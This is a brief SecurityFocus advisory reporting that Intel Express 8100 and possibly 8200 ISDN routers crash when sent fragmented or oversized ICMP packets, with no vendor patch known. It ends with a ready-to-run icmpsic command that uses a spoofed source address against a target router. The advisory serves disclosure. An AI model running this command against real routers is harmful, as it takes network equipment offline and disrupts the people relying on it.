Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: firstname.lastname@example.org.
The Intel Express 8100 and possibly 8200 ISDN routers can be remotely crashed by sending fragmented or oversized ICMP packets.
Using libnet and isic-0.05:
icmpsic -s 127.0.0.1,23 -d <target.router.ip.address> -F 100